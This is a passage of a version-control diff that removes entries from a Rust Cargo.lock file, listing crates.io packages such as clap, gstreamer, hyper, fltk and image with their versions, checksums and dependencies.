- "image 0.22.5",
- "libc",
- "pkg-config",
- "rand 0.7.3",
- "scopeguard",
- "winapi",
- "x11",
-]
-
-[[package]]
-name = "backtrace"
-version = "0.3.74"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8d82cb332cdfaed17ae235a638438ac4d4839913cc2af585c3c6746e8f8bee1a"
-dependencies = [
- "addr2line",
- "cfg-if",
- "libc",
- "miniz_oxide 0.8.0",
- "object",
- "rustc-demangle",
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "base64"
-version = "0.21.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567"
-
-[[package]]
-name = "bitflags"
-version = "1.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
-
-[[package]]
-name = "bitflags"
-version = "2.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "block"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0d8c1fef690941d3e7788d328517591fecc684c084084702d6ff1641e993699a"
-
-[[package]]
-name = "block-buffer"
-version = "0.10.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
-dependencies = [
- "generic-array",
-]
-
-[[package]]
-name = "bytemuck"
-version = "1.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94bbb0ad554ad961ddc5da507a12a29b14e4ae5bda06b19f575a3e6079d2e2ae"
-
-[[package]]
-name = "byteorder"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
-
-[[package]]
-name = "byteorder-lite"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f1fe948ff07f4bd06c30984e69f5b4899c516a3ef74f34df92a2df2ab535495"
-
-[[package]]
-name = "bytes"
-version = "1.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "428d9aa8fbc0670b7b8d6030a7fadd0f86151cae55e4dbbece15f3780a3dfaf3"
-
-[[package]]
-name = "captrs"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dad312f1be0ea3cce9ad0cdbace33350ea0781f138d7b49bfe191df0aa83db1b"
-dependencies = [
- "dxgcap",
- "x11cap",
-]
-
-[[package]]
-name = "cc"
-version = "1.1.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "07b1695e2c7e8fc85310cde85aeaab7e3097f593c91d209d3f9df76c928100f0"
-dependencies = [
- "shlex",
-]
-
-[[package]]
-name = "cfg-expr"
-version = "0.17.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d0890061c4d3223e7267f3bad2ec40b997d64faac1c2815a4a9d95018e2b9e9c"
-dependencies = [
- "smallvec",
- "target-lexicon",
-]
-
-[[package]]
-name = "cfg-if"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
-
-[[package]]
-name = "clap"
-version = "4.5.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b0956a43b323ac1afaffc053ed5c4b7c1f1800bacd1683c353aabbb752515dd3"
-dependencies = [
- "clap_builder",
- "clap_derive",
-]
-
-[[package]]
-name = "clap_builder"
-version = "4.5.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4d72166dd41634086d5803a47eb71ae740e61d84709c36f3c34110173db3961b"
-dependencies = [
- "anstream",
- "anstyle",
- "clap_lex",
- "strsim",
-]
-
-[[package]]
-name = "clap_complete"
-version = "4.5.29"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8937760c3f4c60871870b8c3ee5f9b30771f792a7045c48bcbba999d7d6b3b8e"
-dependencies = [
- "clap",
-]
-
-[[package]]
-name = "clap_derive"
-version = "4.5.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ac6a0c7b1a9e9a5186361f67dfa1b88213572f427fb9ab038efb2bd8c582dab"
-dependencies = [
- "heck",
- "proc-macro2 1.0.86",
- "quote 1.0.37",
- "syn 2.0.77",
-]
-
-[[package]]
-name = "clap_lex"
-version = "0.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1462739cb27611015575c0c11df5df7601141071f07518d56fcc1be504cbec97"
-
-[[package]]
-name = "cmake"
-version = "0.1.51"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fb1e43aa7fd152b1f968787f7dbcdeb306d1867ff373c69955211876c053f91a"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "cocoa"
-version = "0.20.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0c49e86fc36d5704151f5996b7b3795385f50ce09e3be0f47a0cfde869681cf8"
-dependencies = [
- "bitflags 1.3.2",
- "block",
- "core-foundation 0.7.0",
- "core-graphics 0.19.2",
- "foreign-types 0.3.2",
- "libc",
- "objc",
-]
-
-[[package]]
-name = "color_quant"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3d7b894f5411737b7867f4827955924d7c254fc9f4d91a6aad6b097804b1018b"
-
-[[package]]
-name = "colorchoice"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d3fd119d74b830634cea2a0f58bbd0d54540518a14397557951e79340abc28c0"
-
-[[package]]
-name = "core-foundation"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "57d24c7a13c43e870e37c1556b74555437870a04514f7685f5b354e090567171"
-dependencies = [
- "core-foundation-sys 0.7.0",
- "libc",
-]
-
-[[package]]
-name = "core-foundation"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b55271e5c8c478ad3f38ad24ef34923091e0548492a266d19b3c0b4d82574c63"
-dependencies = [
- "core-foundation-sys 0.8.7",
- "libc",
-]
-
-[[package]]
-name = "core-foundation-sys"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b3a71ab494c0b5b860bdc8407ae08978052417070c2ced38573a9157ad75b8ac"
-
-[[package]]
-name = "core-foundation-sys"
-version = "0.8.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
-
-[[package]]
-name = "core-graphics"
-version = "0.19.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b3889374e6ea6ab25dba90bb5d96202f61108058361f6dc72e8b03e6f8bbe923"
-dependencies = [
- "bitflags 1.3.2",
- "core-foundation 0.7.0",
- "foreign-types 0.3.2",
- "libc",
-]
-
-[[package]]
-name = "core-graphics"
-version = "0.24.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fa95a34622365fa5bbf40b20b75dba8dfa8c94c734aea8ac9a5ca38af14316f1"
-dependencies = [
- "bitflags 2.6.0",
- "core-foundation 0.10.0",
- "core-graphics-types",
- "foreign-types 0.5.0",
- "libc",
-]
-
-[[package]]
-name = "core-graphics-types"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3d44a101f213f6c4cdc1853d4b78aef6db6bdfa3468798cc1d9912f4735013eb"
-dependencies = [
- "bitflags 2.6.0",
- "core-foundation 0.10.0",
- "libc",
-]
-
-[[package]]
-name = "cpufeatures"
-version = "0.2.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "608697df725056feaccfa42cffdaeeec3fccc4ffc38358ecd19b243e716a78e0"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "crc32fast"
-version = "1.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3"
-dependencies = [
- "cfg-if",
-]
-
-[[package]]
-name = "crossbeam-channel"
-version = "0.5.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33480d6946193aa8033910124896ca395333cae7e2d1113d1fef6c3272217df2"
-dependencies = [
- "crossbeam-utils",
-]
-
-[[package]]
-name = "crossbeam-deque"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d"
-dependencies = [
- "crossbeam-epoch",
- "crossbeam-utils",
-]
-
-[[package]]
-name = "crossbeam-epoch"
-version = "0.9.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e"
-dependencies = [
- "crossbeam-utils",
-]
-
-[[package]]
-name = "crossbeam-utils"
-version = "0.8.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "22ec99545bb0ed0ea7bb9b8e1e9122ea386ff8a48c0922e43f36d45ab09e0e80"
-
-[[package]]
-name = "crypto-common"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
-dependencies = [
- "generic-array",
- "typenum",
-]
-
-[[package]]
-name = "dbus"
-version = "0.9.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1bb21987b9fb1613058ba3843121dd18b163b254d8a6e797e144cbac14d96d1b"
-dependencies = [
- "libc",
- "libdbus-sys",
- "winapi",
-]
-
-[[package]]
-name = "deflate"
-version = "0.7.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "707b6a7b384888a70c8d2e8650b3e60170dfc6a67bb4aa67b6dfca57af4bedb4"
-dependencies = [
- "adler32",
- "byteorder",
-]
-
-[[package]]
-name = "digest"
-version = "0.10.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
-dependencies = [
- "block-buffer",
- "crypto-common",
-]
-
-[[package]]
-name = "dirs"
-version = "5.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "44c45a9d03d6676652bcb5e724c7e988de1acad23a711b5217ab9cbecbec2225"
-dependencies = [
- "dirs-sys",
-]
-
-[[package]]
-name = "dirs-sys"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "520f05a5cbd335fae5a99ff7a6ab8627577660ee5cfd6a94a6a929b52ff0321c"
-dependencies = [
- "libc",
- "option-ext",
- "redox_users",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "dxgcap"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "18a3f3df51c509e7c8d2807c63abfecdea1a83def81baec83d68c6f5bb8ac654"
-dependencies = [
- "winapi",
- "wio",
-]
-
-[[package]]
-name = "either"
-version = "1.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "60b1af1c220855b6ceac025d3f6ecdd2b7c4894bfe9cd9bda4fbb4bc7c0d4cf0"
-
-[[package]]
-name = "equivalent"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5"
-
-[[package]]
-name = "fastwebsockets"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26da0c7b5cef45c521a6f9cdfffdfeb6c9f5804fbac332deb5ae254634c7a6be"
-dependencies = [
- "base64",
- "bytes",
- "http-body-util",
- "hyper",
- "hyper-util",
- "pin-project",
- "rand 0.8.5",
- "sha1",
- "simdutf8",
- "thiserror",
- "tokio",
- "utf-8",
-]
-
-[[package]]
-name = "fdeflate"
-version = "0.3.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4f9bfee30e4dedf0ab8b422f03af778d9612b63f502710fc500a334ebe2de645"
-dependencies = [
- "simd-adler32",
-]
-
-[[package]]
-name = "flate2"
-version = "1.0.33"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "324a1be68054ef05ad64b861cc9eaf1d623d2d8cb25b4bf2cb9cdd902b4bf253"
-dependencies = [
- "crc32fast",
- "miniz_oxide 0.8.0",
-]
-
-[[package]]
-name = "fltk"
-version = "1.4.34"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f8f81f9ebf85aeaad76e43362cc2bb1d926e5daca1327dc0a094d00c86a95ebb"
-dependencies = [
- "bitflags 2.6.0",
- "crossbeam-channel",
- "fltk-sys",
- "once_cell",
- "paste",
- "ttf-parser",
-]
-
-[[package]]
-name = "fltk-sys"
-version = "1.4.34"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "30bbe32c3f9f72469e2cf2a62edc74ef990b81c2caf082f53fd67060ce0c9893"
-dependencies = [
- "cmake",
-]
-
-[[package]]
-name = "fltk-theme"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "03302d43154c9c51b4297a96f40c85ea913bb15ea27b6a38665284ddae8ac3d7"
-dependencies = [
- "fltk",
-]
-
-[[package]]
-name = "fnv"
-version = "1.0.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
-
-[[package]]
-name = "foreign-types"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1"
-dependencies = [
- "foreign-types-shared 0.1.1",
-]
-
-[[package]]
-name = "foreign-types"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d737d9aa519fb7b749cbc3b962edcf310a8dd1f4b67c91c4f83975dbdd17d965"
-dependencies = [
- "foreign-types-macros",
- "foreign-types-shared 0.3.1",
-]
-
-[[package]]
-name = "foreign-types-macros"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a5c6c585bc94aaf2c7b51dd4c2ba22680844aba4c687be581871a6f518c5742"
-dependencies = [
- "proc-macro2 1.0.86",
- "quote 1.0.37",
- "syn 2.0.77",
-]
-
-[[package]]
-name = "foreign-types-shared"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b"
-
-[[package]]
-name = "foreign-types-shared"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aa9a19cbb55df58761df49b23516a86d432839add4af60fc256da840f66ed35b"
-
-[[package]]
-name = "form_urlencoded"
-version = "1.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456"
-dependencies = [
- "percent-encoding",
-]
-
-[[package]]
-name = "futures-channel"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78"
-dependencies = [
- "futures-core",
-]
-
-[[package]]
-name = "futures-core"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d"
-
-[[package]]
-name = "futures-executor"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d"
-dependencies = [
- "futures-core",
- "futures-task",
- "futures-util",
-]
-
-[[package]]
-name = "futures-macro"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac"
-dependencies = [
- "proc-macro2 1.0.86",
- "quote 1.0.37",
- "syn 2.0.77",
-]
-
-[[package]]
-name = "futures-sink"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5"
-
-[[package]]
-name = "futures-task"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004"
-
-[[package]]
-name = "futures-util"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48"
-dependencies = [
- "futures-core",
- "futures-macro",
- "futures-task",
- "pin-project-lite",
- "pin-utils",
- "slab",
-]
-
-[[package]]
-name = "generic-array"
-version = "0.14.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
-dependencies = [
- "typenum",
- "version_check",
-]
-
-[[package]]
-name = "getrandom"
-version = "0.1.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce"
-dependencies = [
- "cfg-if",
- "libc",
- "wasi 0.9.0+wasi-snapshot-preview1",
-]
-
-[[package]]
-name = "getrandom"
-version = "0.2.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7"
-dependencies = [
- "cfg-if",
- "libc",
- "wasi 0.11.0+wasi-snapshot-preview1",
-]
-
-[[package]]
-name = "gif"
-version = "0.10.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "471d90201b3b223f3451cd4ad53e34295f16a1df17b1edf3736d47761c3981af"
-dependencies = [
- "color_quant",
- "lzw",
-]
-
-[[package]]
-name = "gimli"
-version = "0.31.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "32085ea23f3234fc7846555e85283ba4de91e21016dc0455a16286d87a292d64"
-
-[[package]]
-name = "gio-sys"
-version = "0.20.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5237611e97e9b86ab5768adc3eef853ae713ea797aa3835404acdfacffc9fb38"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "glib"
-version = "0.20.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "95648aac01b75503000bb3bcaa5ec7a7a2dd61e43636b8b1814854de94dd80e4"
-dependencies = [
- "bitflags 2.6.0",
- "futures-channel",
- "futures-core",
- "futures-executor",
- "futures-task",
- "futures-util",
- "gio-sys",
- "glib-macros",
- "glib-sys",
- "gobject-sys",
- "libc",
- "memchr",
- "smallvec",
-]
-
-[[package]]
-name = "glib-macros"
-version = "0.20.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "302f1d633c9cdef4350330e7b68fd8016e2834bb106c93fdf9789fcde753c1ab"
-dependencies = [
- "heck",
- "proc-macro-crate",
- "proc-macro2 1.0.86",
- "quote 1.0.37",
- "syn 2.0.77",
-]
-
-[[package]]
-name = "glib-sys"
-version = "0.20.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "92eee4531c1c9abba945d19378b205031b5890e1f99c319ba0503b6e0c06a163"
-dependencies = [
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "gobject-sys"
-version = "0.20.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fa3d1dcd8a1eb2e7c22be3d5e792b14b186f3524f79b25631730f9a8c169d49a"
-dependencies = [
- "glib-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "gstreamer"
-version = "0.23.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "683e15f8cc3a1a2646d9fe2181a58b7abb4c166256d8d15cce368e420c741140"
-dependencies = [
- "cfg-if",
- "futures-channel",
- "futures-core",
- "futures-util",
- "glib",
- "gstreamer-sys",
- "itertools",
- "libc",
- "muldiv",
- "num-integer",
- "num-rational 0.4.2",
- "once_cell",
- "option-operations",
- "paste",
- "pin-project-lite",
- "smallvec",
- "thiserror",
-]
-
-[[package]]
-name = "gstreamer-app"
-version = "0.23.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e0c86915cc4cdfa030532301a46c725e0ce0c6c2b57a68c44ce9b34db587e552"
-dependencies = [
- "futures-core",
- "futures-sink",
- "glib",
- "gstreamer",
- "gstreamer-app-sys",
- "gstreamer-base",
- "libc",
-]
-
-[[package]]
-name = "gstreamer-app-sys"
-version = "0.23.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "37066c1b93ba57aa070ebc1e0a564bc1a9adda78fb0850e624861fad46fd1448"
-dependencies = [
- "glib-sys",
- "gstreamer-base-sys",
- "gstreamer-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "gstreamer-base"
-version = "0.23.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed5d73cb5cbf229c8904fba5ff93b1863f186bccc062064c1b2a9000750cc06e"
-dependencies = [
- "atomic_refcell",
- "cfg-if",
- "glib",
- "gstreamer",
- "gstreamer-base-sys",
- "libc",
-]
-
-[[package]]
-name = "gstreamer-base-sys"
-version = "0.23.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4a6643ef963c636b8022adc93aa19eac6f356bd174a187c499339fc5d64c1e05"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "gstreamer-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "gstreamer-sys"
-version = "0.23.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d9c9005b55dd2b1784645963c1ec409f9d420a56f6348d0ae69c2eaff584bcc3"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "gstreamer-video"
-version = "0.23.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "57332bca1ae7825a53fe57d993b63389f132d335aed691ac76f0ffe4304548e3"
-dependencies = [
- "cfg-if",
- "futures-channel",
- "glib",
- "gstreamer",
- "gstreamer-base",
- "gstreamer-video-sys",
- "libc",
- "once_cell",
- "thiserror",
-]
-
-[[package]]
-name = "gstreamer-video-sys"
-version = "0.23.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0f5c334d143384e8dc714af948c2e5d7d12cb588fdcfb56f3bf37c24daf350ef"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "gstreamer-base-sys",
- "gstreamer-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "h2"
-version = "0.4.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "524e8ac6999421f49a846c2d4411f337e53497d8ec55d67753beffa43c5d9205"
-dependencies = [
- "atomic-waker",
- "bytes",
- "fnv",
- "futures-core",
- "futures-sink",
- "http",
- "indexmap",
- "slab",
- "tokio",
- "tokio-util",
- "tracing",
-]
-
-[[package]]
-name = "handlebars"
-version = "6.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ce25b617d1375ef96eeb920ae717e3da34a02fc979fe632c75128350f9e1f74a"
-dependencies = [
- "log",
- "pest",
- "pest_derive",
- "serde",
- "serde_json",
- "thiserror",
-]
-
-[[package]]
-name = "hashbrown"
-version = "0.14.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1"
-
-[[package]]
-name = "heck"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
-
-[[package]]
-name = "hermit-abi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024"
-
-[[package]]
-name = "http"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "21b9ddb458710bc376481b842f5da65cdf31522de232c1ca8146abce2a358258"
-dependencies = [
- "bytes",
- "fnv",
- "itoa",
-]
-
-[[package]]
-name = "http-body"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1efedce1fb8e6913f23e0c92de8e62cd5b772a67e7b3946df930a62566c93184"
-dependencies = [
- "bytes",
- "http",
-]
-
-[[package]]
-name = "http-body-util"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "793429d76616a256bcb62c2a2ec2bed781c8307e797e2598c50010f2bee2544f"
-dependencies = [
- "bytes",
- "futures-util",
- "http",
- "http-body",
- "pin-project-lite",
-]
-
-[[package]]
-name = "httparse"
-version = "1.9.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0fcc0b4a115bf80b728eb8ea024ad5bd707b615bfed49e0665b6e0f86fd082d9"
-
-[[package]]
-name = "httpdate"
-version = "1.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9"
-
-[[package]]
-name = "hyper"
-version = "1.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "50dfd22e0e76d0f662d429a5f80fcaf3855009297eab6a0a9f8543834744ba05"
-dependencies = [
- "bytes",
- "futures-channel",
- "futures-util",
- "h2",
- "http",
- "http-body",
- "httparse",
- "httpdate",
- "itoa",
- "pin-project-lite",
- "smallvec",
- "tokio",
- "want",
-]
-
-[[package]]
-name = "hyper-util"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "41296eb09f183ac68eec06e03cdbea2e759633d4067b2f6552fc2e009bcad08b"
-dependencies = [
- "bytes",
- "futures-util",
- "http",
- "http-body",
- "hyper",
- "pin-project-lite",
- "tokio",
-]
-
-[[package]]
-name = "idna"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6"
-dependencies = [
- "unicode-bidi",
- "unicode-normalization",
-]
-
-[[package]]
-name = "image"
-version = "0.22.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "08ed2ada878397b045454ac7cfb011d73132c59f31a955d230bd1f1c2e68eb4a"
-dependencies = [
- "byteorder",
- "gif",
- "jpeg-decoder",
- "num-iter",
- "num-rational 0.2.4",
- "num-traits",
- "png 0.15.3",
- "scoped_threadpool",
- "tiff",
-]
-
-[[package]]
-name = "image"
-version = "0.25.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "99314c8a2152b8ddb211f924cdae532d8c5e4c8bb54728e12fff1b0cd5963a10"
-dependencies = [
- "bytemuck",
- "byteorder-lite",
- "num-traits",
- "png 0.17.13",
-]
-
-[[package]]
-name = "indexmap"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "68b900aa2f7301e21c36462b170ee99994de34dff39a4a6a528e80e7376d07e5"
-dependencies = [
- "equivalent",
- "hashbrown",
-]
-
-[[package]]
-name = "inflate"
-version = "0.4.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1cdb29978cc5797bd8dcc8e5bf7de604891df2a8dc576973d71a281e916db2ff"
-dependencies = [
- "adler32",
-]
-
-[[package]]
-name = "ipnetwork"
-version = "0.20.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf466541e9d546596ee94f9f69590f89473455f88372423e0008fc1a7daf100e"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "is_terminal_polyfill"
-version = "1.70.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf"
-
-[[package]]
-name = "itertools"
-version = "0.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "413ee7dfc52ee1a4949ceeb7dbc8a33f2d6c088194d9f922fb8318faf1f01186"
-dependencies = [
- "either",
-]
-
-[[package]]
-name = "itoa"
-version = "1.0.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49f1f14873335454500d59611f1cf4a4b0f786f9ac11f4312a78e4cf2566695b"
-
-[[package]]
-name = "jpeg-decoder"
-version = "0.1.22"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "229d53d58899083193af11e15917b5640cd40b29ff475a1fe4ef725deb02d0f2"
-dependencies = [
- "rayon",
-]
-
-[[package]]
-name = "lazy_static"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
-
-[[package]]
-name = "libc"
-version = "0.2.159"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "561d97a539a36e26a9a5fad1ea11a3039a67714694aaa379433e580854bc3dc5"
-
